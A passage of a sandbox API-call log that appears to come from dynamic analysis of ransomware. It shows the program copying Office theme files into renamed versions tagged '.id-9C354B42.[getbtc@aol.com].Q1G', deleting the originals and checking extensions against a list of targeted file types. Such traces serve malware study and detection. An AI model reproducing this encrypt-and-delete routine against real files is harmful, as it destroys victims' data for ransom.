lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x338a0, lpOverlapped=0x0) returned 1 [0244.482] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.483] WriteFile (in: hFile=0x398, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.483] SetEndOfFile (hFile=0x398) returned 1 [0244.483] CloseHandle (hObject=0x398) returned 1 [0244.483] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.483] SetEndOfFile (hFile=0x3a8) returned 1 [0244.488] CloseHandle (hObject=0x3a8) returned 1 [0244.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.488] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx")) returned 1 [0244.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0244.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0244.489] lstrlenW (lpString=".doc") returned 4 [0244.489] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.489] lstrlenW (lpString=".docx") returned 5 [0244.489] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.489] lstrlenW (lpString=".pdf") returned 4 [0244.489] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.489] lstrlenW (lpString=".xls") returned 4 [0244.489] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.489] lstrlenW (lpString=".xlsx") returned 5 [0244.489] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.489] lstrlenW (lpString=".ppt") returned 4 [0244.489] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0244.490] lstrlenW (lpString=".zip") returned 4 [0244.490] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.490] lstrlenW (lpString=".rar") returned 4 [0244.490] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.490] lstrlenW (lpString=".bz2") returned 4 [0244.490] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.490] lstrlenW (lpString=".7z") returned 3 [0244.490] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0244.490] lstrlenW (lpString=".dbf") returned 4 [0244.490] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0244.490] lstrlenW (lpString=".1cd") returned 4 [0244.490] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0244.490] lstrlenW (lpString=".jpg") returned 4 [0244.490] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0244.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0244.490] lstrlenW (lpString=".doc") returned 4 [0244.490] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.490] lstrlenW (lpString=".docx") returned 5 [0244.490] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.490] lstrlenW (lpString=".pdf") returned 4 [0244.490] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.490] lstrlenW (lpString=".xls") returned 4 [0244.490] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.490] lstrlenW (lpString=".xlsx") returned 5 [0244.491] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.491] lstrlenW (lpString=".ppt") returned 4 [0244.491] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0244.491] lstrlenW (lpString=".zip") returned 4 [0244.491] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.491] lstrlenW (lpString=".rar") returned 4 [0244.491] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.491] lstrlenW (lpString=".bz2") returned 4 [0244.491] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.491] lstrlenW (lpString=".7z") returned 3 [0244.491] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0244.491] lstrlenW (lpString=".dbf") returned 4 [0244.491] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0244.491] lstrlenW (lpString=".1cd") returned 4 [0244.491] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0244.491] lstrlenW (lpString=".jpg") returned 4 [0244.491] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.491] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0244.491] lstrlenW (lpString="Metro.eftx") returned 10 [0244.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0244.629] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=24117) returned 1 [0244.629] CloseHandle (hObject=0x360) returned 1 [0244.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx")) returned 0x20 [0244.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0244.629] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.629] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0244.630] GetLastError () returned 0x0 [0244.630] ReadFile (in: hFile=0x360, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x5e35, lpOverlapped=0x0) returned 1 [0244.642] WriteFile (in: hFile=0x398, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x5e40, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x5e40, lpOverlapped=0x0) returned 1 [0244.643] ReadFile (in: hFile=0x360, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.643] WriteFile (in: hFile=0x398, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0244.644] SetEndOfFile (hFile=0x398) returned 1 [0244.644] CloseHandle (hObject=0x398) returned 1 [0244.644] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.644] SetEndOfFile (hFile=0x360) returned 1 [0244.646] CloseHandle (hObject=0x360) returned 1 [0244.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx")) returned 1 [0244.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0244.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0244.647] lstrlenW (lpString=".doc") returned 4 [0244.647] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.647] lstrlenW (lpString=".docx") returned 5 [0244.647] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.647] lstrlenW (lpString=".pdf") returned 4 [0244.647] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.647] lstrlenW (lpString=".xls") returned 4 [0244.648] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.648] lstrlenW (lpString=".xlsx") returned 5 [0244.648] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.648] lstrlenW (lpString=".ppt") returned 4 [0244.648] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0244.648] lstrlenW (lpString=".zip") returned 4 [0244.648] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.648] lstrlenW (lpString=".rar") returned 4 [0244.648] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.648] lstrlenW (lpString=".bz2") returned 4 [0244.648] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.648] lstrlenW (lpString=".7z") returned 3 [0244.648] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0244.648] lstrlenW (lpString=".dbf") returned 4 [0244.648] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0244.648] lstrlenW (lpString=".1cd") returned 4 [0244.648] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0244.648] lstrlenW (lpString=".jpg") returned 4 [0244.648] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0244.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0244.648] lstrlenW (lpString=".doc") returned 4 [0244.648] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.648] lstrlenW (lpString=".docx") returned 5 [0244.648] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.648] lstrlenW (lpString=".pdf") returned 4 [0244.648] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.648] lstrlenW (lpString=".xls") returned 4 [0244.648] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.648] lstrlenW (lpString=".xlsx") returned 5 [0244.648] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.648] lstrlenW (lpString=".ppt") returned 4 [0244.649] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0244.649] lstrlenW (lpString=".zip") returned 4 [0244.649] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.649] lstrlenW (lpString=".rar") returned 4 [0244.649] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.649] lstrlenW (lpString=".bz2") returned 4 [0244.649] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.649] lstrlenW (lpString=".7z") returned 3 [0244.649] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0244.649] lstrlenW (lpString=".dbf") returned 4 [0244.649] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0244.649] lstrlenW (lpString=".1cd") returned 4 [0244.649] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0244.649] lstrlenW (lpString=".jpg") returned 4 [0244.649] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.700] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0244.701] lstrlenW (lpString="Opulent.eftx") returned 12 [0244.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0244.740] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=32857) returned 1 [0244.740] CloseHandle (hObject=0x398) returned 1 [0244.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx")) returned 0x20 [0244.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0244.795] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.795] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0244.795] GetLastError () returned 0x0 [0244.795] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x8059, lpOverlapped=0x0) returned 1 [0244.798] WriteFile (in: hFile=0x398, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x8060, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x8060, lpOverlapped=0x0) returned 1 [0244.799] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.799] WriteFile (in: hFile=0x398, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.799] SetEndOfFile (hFile=0x398) returned 1 [0244.799] CloseHandle (hObject=0x398) returned 1 [0244.799] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.800] SetEndOfFile (hFile=0x3a8) returned 1 [0244.803] CloseHandle (hObject=0x3a8) returned 1 [0244.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx")) returned 1 [0244.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0244.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0244.804] lstrlenW (lpString=".doc") returned 4 [0244.804] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.804] lstrlenW (lpString=".docx") returned 5 [0244.804] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.804] lstrlenW (lpString=".pdf") returned 4 [0244.804] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.804] lstrlenW (lpString=".xls") returned 4 [0244.804] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.804] lstrlenW (lpString=".xlsx") returned 5 [0244.804] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.804] lstrlenW (lpString=".ppt") returned 4 [0244.804] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0244.804] lstrlenW (lpString=".zip") returned 4 [0244.804] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.804] lstrlenW (lpString=".rar") returned 4 [0244.804] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.804] lstrlenW (lpString=".bz2") returned 4 [0244.804] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.804] lstrlenW (lpString=".7z") returned 3 [0244.804] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0244.804] lstrlenW (lpString=".dbf") returned 4 [0244.804] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0244.804] lstrlenW (lpString=".1cd") returned 4 [0244.804] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0244.804] lstrlenW (lpString=".jpg") returned 4 [0244.804] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0244.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0244.804] lstrlenW (lpString=".doc") returned 4 [0244.804] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.805] lstrlenW (lpString=".docx") returned 5 [0244.805] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.805] lstrlenW (lpString=".pdf") returned 4 [0244.805] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.805] lstrlenW (lpString=".xls") returned 4 [0244.805] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.805] lstrlenW (lpString=".xlsx") returned 5 [0244.805] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.805] lstrlenW (lpString=".ppt") returned 4 [0244.805] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0244.805] lstrlenW (lpString=".zip") returned 4 [0244.805] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.805] lstrlenW (lpString=".rar") returned 4 [0244.805] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.805] lstrlenW (lpString=".bz2") returned 4 [0244.805] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.805] lstrlenW (lpString=".7z") returned 3 [0244.805] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0244.805] lstrlenW (lpString=".dbf") returned 4 [0244.805] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0244.805] lstrlenW (lpString=".1cd") returned 4 [0244.805] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0244.805] lstrlenW (lpString=".jpg") returned 4 [0244.805] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.805] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0244.805] lstrlenW (lpString="Origin.eftx") returned 11 [0244.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0244.806] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=40941) returned 1 [0244.806] CloseHandle (hObject=0x3a8) returned 1 [0244.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx")) returned 0x20 [0244.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0244.807] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.807] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0244.807] GetLastError () returned 0x0 [0244.807] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x9fed, lpOverlapped=0x0) returned 1 [0244.810] WriteFile (in: hFile=0x398, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x9ff0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x9ff0, lpOverlapped=0x0) returned 1 [0244.811] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.811] WriteFile (in: hFile=0x398, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xea, lpOverlapped=0x0) returned 1 [0244.812] SetEndOfFile (hFile=0x398) returned 1 [0244.812] CloseHandle (hObject=0x398) returned 1 [0244.812] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.812] SetEndOfFile (hFile=0x3a8) 